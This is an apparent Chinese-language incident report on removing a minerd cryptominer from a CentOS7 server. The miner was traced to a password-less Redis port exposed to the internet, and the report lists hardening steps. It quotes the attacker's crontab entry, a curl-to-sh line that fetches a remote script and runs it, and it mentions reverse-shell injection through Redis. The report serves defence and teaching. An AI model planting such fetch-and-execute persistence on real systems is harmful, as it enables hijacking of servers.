服务器被植入挖矿程序排查案例

本文涉及的产品
云数据库 Tair(兼容Redis),内存型 2GB
Redis 开源版,标准版 2GB
推荐场景:
搭建游戏排行榜
简介: 主机的操作系统是CentOS7,应用架构是Java+MySQL+Redis。客户描述问题是有一个从下午2点到凌晨的秒杀活动。秒杀系统开始的时候是可以正常运行的,但是到了晚上7点就突然无法使用了,前台提交秒杀请求后,后端无响应,最终超时退出。

服务器被植入挖矿程序排查案例

主机的操作系统是CentOS7,应用架构是Java+MySQL+Redis。客户描述问题是有一个从下午2点到凌晨的秒杀活动。秒杀系统开始的时候是可以正常运行的,但是到了晚上7点就突然无法使用了,前台提交秒杀请求后,后端无响应,最终超时退出。

排查过程分析

首先登录服务器,查看整个系统状态。目标服务器是16核32GB,执行top命令发现平均负载在10左右,主要是被一个可疑的minerd进程消耗大量CPU资源,并且这个minerd进程还是由root用户启动的,已经启动了37min25s,当时时间是19:37。接着,又询问客户秒杀系统故障持续时间,客户回复大概半小时左右。

搜索关键字minerd发现这个一个挖矿程序,“挖矿”的本质是使用计算机解决一项复杂的数学问题,特定算法会消耗大量CPU资源,导致系统卡顿。

既然找到了问题,接下来就捋清思路解决问题:

  1. 清理挖矿程序。
  2. 排查挖矿程序的植入原因。
  3. 修复漏洞,安全加固。

清理挖矿程序

通过top找到minerd的进程号13343,根据进程号,查询产生进程的程序路径 。

#查询PID对应的可执行文件路径
ls -al /proc/13343/exe

上面命令的执行结果为/var/tmp/minerd,接下来执行kill -9 13343 杀死进程,并执行rm -rf /var/tmp/minerd清理挖矿程序。

再次执行top发现minerd进程已经不在,且平均负载已经下降,说明问题已经初步解决,但是一般植入挖矿程序都会修改crontab,检查/var/spool/cron/root发现如下计划任务:

*/5 19-23,0-7 * * * curl -fsSL https://*****/api/report?pm=*** | sh

可以看出,这个计划任务避开工作时间偷偷挖矿,具有一定隐蔽性。这也印证了客户提的晚上七点开始系统出现故障。 rm -rf /var/spool/cron/root删除计划任务即可。

排查挖矿程序植入原因

通过netstat -tnpl查看到Redis的6380端口监听在0.0.0.0上,这属于高风险操作。接着,通过iptables -nL发现INPUT链有一条关于6380端口的开放规则:

ACCEPT  tcp  --  0.0.0.0/0  0.0.0.0/0  tcp dpt:6380

这条规则使Redis对全网开放,且在外网可以使用redis-cli -h xx.xx.xx.xx -p 6380无密码远程登录Redis。黑客很有可能利用Redis漏洞,同通过反弹Shell注入crontab来植入挖矿程序。

询问客户为何开放6380端口。客户回忆说,因为开发人员要在家办公,需要远程连接Redis,所以要开放6380端口,开发人员处理完问题,运维人员忘记关闭端口,就导致了这次事故的发生。

对于线上服务器,是不能随意开放端口的,虽然问题体现在端口开放上,但本质是开发和运维的协作机制问题,如果加强沟通,肯定会避免此类问题。

修复漏洞,安全加固

  1. 设置防火墙,禁止外网访问Redis:

    iptables -D INPUT -p tcp -m tcp --dport=6380 -j ACCEPT
  2. 以低权限运行Redis服务。
  3. 修改Redis默认端口,6379、6380、6381都是Redis常用的端口,建议修改成不易被识别的端口。
  4. 给Redis添加密码验证,修改redis.conf,添加requirepass 密码。重启Redis生效。
  5. 清空密钥认证文件,rm -rf /root/.ssh/*
  6. 修复sshd配置文件/etc/ssh/sshd_config,可以检查修改了那些配置项,也可以从正常的系统复制一个sshd_config过来。重启sshd生效。
  7. authorized_keys存储着本地系统允许远程SSH无密码登录大的账号信息。默认情况下此文件权限为600可以正常工作,为了安全起见可以将authorized_keys的权限设置为只读、其他用户无权限,且无法修改此文件的权限,即:

    chmod 400 ~/.ssh/authorized_keys
    chattr +i ~/.ssh/authorized_keys
  8. 检查/etc/rc.local/etc/init.d下是否有可疑内容。

欢迎大家留言交流!

相关实践学习
基于Redis实现在线游戏积分排行榜
本场景将介绍如何基于Redis数据库实现在线游戏中的游戏玩家积分排行榜功能。
云数据库 Redis 版使用教程
云数据库Redis版是兼容Redis协议标准的、提供持久化的内存数据库服务,基于高可靠双机热备架构及可无缝扩展的集群架构,满足高读写性能场景及容量需弹性变配的业务需求。 产品详情:https://www.aliyun.com/product/kvstore     ------------------------------------------------------------------------- 阿里云数据库体验:数据库上云实战 开发者云会免费提供一台带自建MySQL的源数据库 ECS 实例和一台目标数据库 RDS实例。跟着指引,您可以一步步实现将ECS自建数据库迁移到目标数据库RDS。 点击下方链接,领取免费ECS&RDS资源,30分钟完成数据库上云实战!https://developer.aliyun.com/adc/scenario/51eefbd1894e42f6bb9acacadd3f9121?spm=a2c6h.13788135.J_3257954370.9.4ba85f24utseFl
相关文章
|
1月前
|
存储 Oracle 关系型数据库
服务器数据恢复—EVA存储硬盘读写性能不稳定掉线的数据恢复案例
服务器存储数据恢复环境: 一台EVA某型号控制器+EVA扩展柜+FC磁盘。 服务器存储故障&检测: 磁盘故障导致该EVA存储中LUN不可用,导致上层应用无法正常使用。
96 47
|
2天前
|
安全 数据挖掘
服务器数据恢复—RAID5阵列中两块硬盘离线导致阵列崩溃的数据恢复案例
服务器数据恢复环境: 两组分别由4块SAS接口硬盘组建的raid5阵列,两组raid5阵列划分LUN并由LVM管理,格式化为EXT3文件系统。 服务器故障: RAID5阵列中一块硬盘未知原因离线,热备盘自动激活上线替换离线硬盘。在热备盘上线过程中,raid5阵列中又有一块硬盘离线。热备盘同步失败,该raid阵列崩溃,LVM结构变得不完整,文件系统无法正常使用。
|
7天前
|
存储 监控 调度
云服务器成本优化深度解析与实战案例
本文深入探讨了云服务器成本优化的策略与实践,涵盖基本原则、具体策略及案例分析。基本原则包括以实际需求为导向、动态调整资源、成本控制为核心。具体策略涉及选择合适计费模式、优化资源配置、存储与网络配置、实施资源监控与审计、应用性能优化、利用优惠政策及考虑多云策略。文章还通过电商、制造企业和初创团队的实际案例,展示了云服务器成本优化的有效性,最后展望了未来的发展趋势,包括智能化优化、多云管理和绿色节能。
|
10天前
|
存储 运维 数据挖掘
服务器数据恢复—EVA存储中多块硬盘离线导致存储崩溃的数据恢复案例
一台HP EVA存储中有23块硬盘,挂接到一台windows server操作系统的服务器。 EVA存储上有三个硬盘指示灯亮黄灯,此刻存储还能正常使用。管理员在更换硬盘的过程中,又出现一块硬盘对应的指示灯亮黄灯,存储崩溃,无法使用了。
|
1月前
|
数据挖掘 Linux 数据库
服务器数据恢复—reiserfs文件系统数据恢复案例
服务器数据恢复环境: 一台服务器中有一组由4块SAS硬盘组建的RAID5阵列,上层安装linux操作系统统。分区结构:boot分区+LVM卷+swap分区(按照顺序),LVM卷中划分了一个reiserfs文件系统作为根分区。 服务器故障: 服务器操作系统在运行过程中由于未知原因崩溃,管理员重装操作系统后发现分区结构变为:boot分区+swap分区+LVM卷(按照顺序),LVM卷中文件系统位置有个空的reiserfs超级块。 用户方需要恢复reiserfs文件系统中所有数据,包含数据库、网站程序与网页、OA系统中所有办公文档。
服务器数据恢复—reiserfs文件系统数据恢复案例
|
11天前
|
数据挖掘 Linux Windows
服务器数据恢复—服务器raid0数据恢复及数据迁移的案例
某品牌服务器上有一组由两块SAS硬盘组建的raid0阵列,上层是windows server操作系统+ntfs文件系统。服务器上一个硬盘指示灯显示黄颜色,该指示灯对应的硬盘离线,raid不可用。
|
23天前
|
存储 Oracle 关系型数据库
服务器数据恢复—DS5300存储raid5阵列数据恢复案例
服务器存储数据恢复环境: 某单位一台某品牌型号为DS5300的服务器存储,1个机头+4个扩展柜,底层是2组分别由数十块硬盘组建的RAID5阵列。存储系统上层一共分了11个卷。 服务器存储故障&分析: 存储设备上一组raid5阵列上的2块磁盘出现故障,对应的硬盘指示灯亮黄灯,阵列崩溃,存储不可用。该组故障阵列上层存放的是Oracle数据库文件。
|
29天前
|
存储 运维 数据挖掘
服务器数据恢复—华为OceanStor存储数据恢复案例
服务器存储数据恢复环境: 华为品牌型号为OceanStor S2600T的存储设备,存储上有一组由24块4T容量的机械硬盘组建的RAID5阵列,作为存储池使用。 图1 服务器存储故障&检测: 存储设备中raid5阵列上多块硬盘出现故障离线,raid5阵列失效,数据无法正常访问。 关机后将存储中所有硬盘标记&取出,硬件工程师对所有硬盘进行硬件故障检测。经过检测,没有发现存在物理故障的磁盘,都可以正常读取。
|
1月前
|
存储 Linux
服务器数据恢复——使用fsck后Ext4文件系统挂载不上的数据恢复案例
关于Ext4文件系统的几个概念: 块组:Ext4文件系统的全部空间被划分为若干个块组,每个块组结构基本上相同。 块组描述符表:每个块组都对应一个块组描述符,这些块组描述符统一放在文件系统的前部,称为块组描述符表。每个块组描述符大小为32字节,主要描述块位图、i-节点位图及i-节点表的地址等信息。 超级块(Superblock):用于存储文件系统的配置参数(块大小、总块数、i-节点数等)和动态信息(当前空闲块数和i-节点数)。Ext4文件系统的超级块始于1024字节处,即2号扇区。 i节点:描述文件的时间、大小、块指针等信息。
|
9天前
|
存储 Oracle 关系型数据库
服务器数据恢复—华为S5300存储Oracle数据库恢复案例
服务器存储数据恢复环境: 华为S5300存储中有12块FC硬盘,其中11块硬盘作为数据盘组建了一组RAID5阵列,剩下的1块硬盘作为热备盘使用。基于RAID的LUN分配给linux操作系统使用,存放的数据主要是Oracle数据库。 服务器存储故障: RAID5阵列中1块硬盘出现故障离线,热备盘自动激活开始同步数据,在同步数据的过程中又一块硬盘离线,RAID5阵列瘫痪,上层LUN无法使用。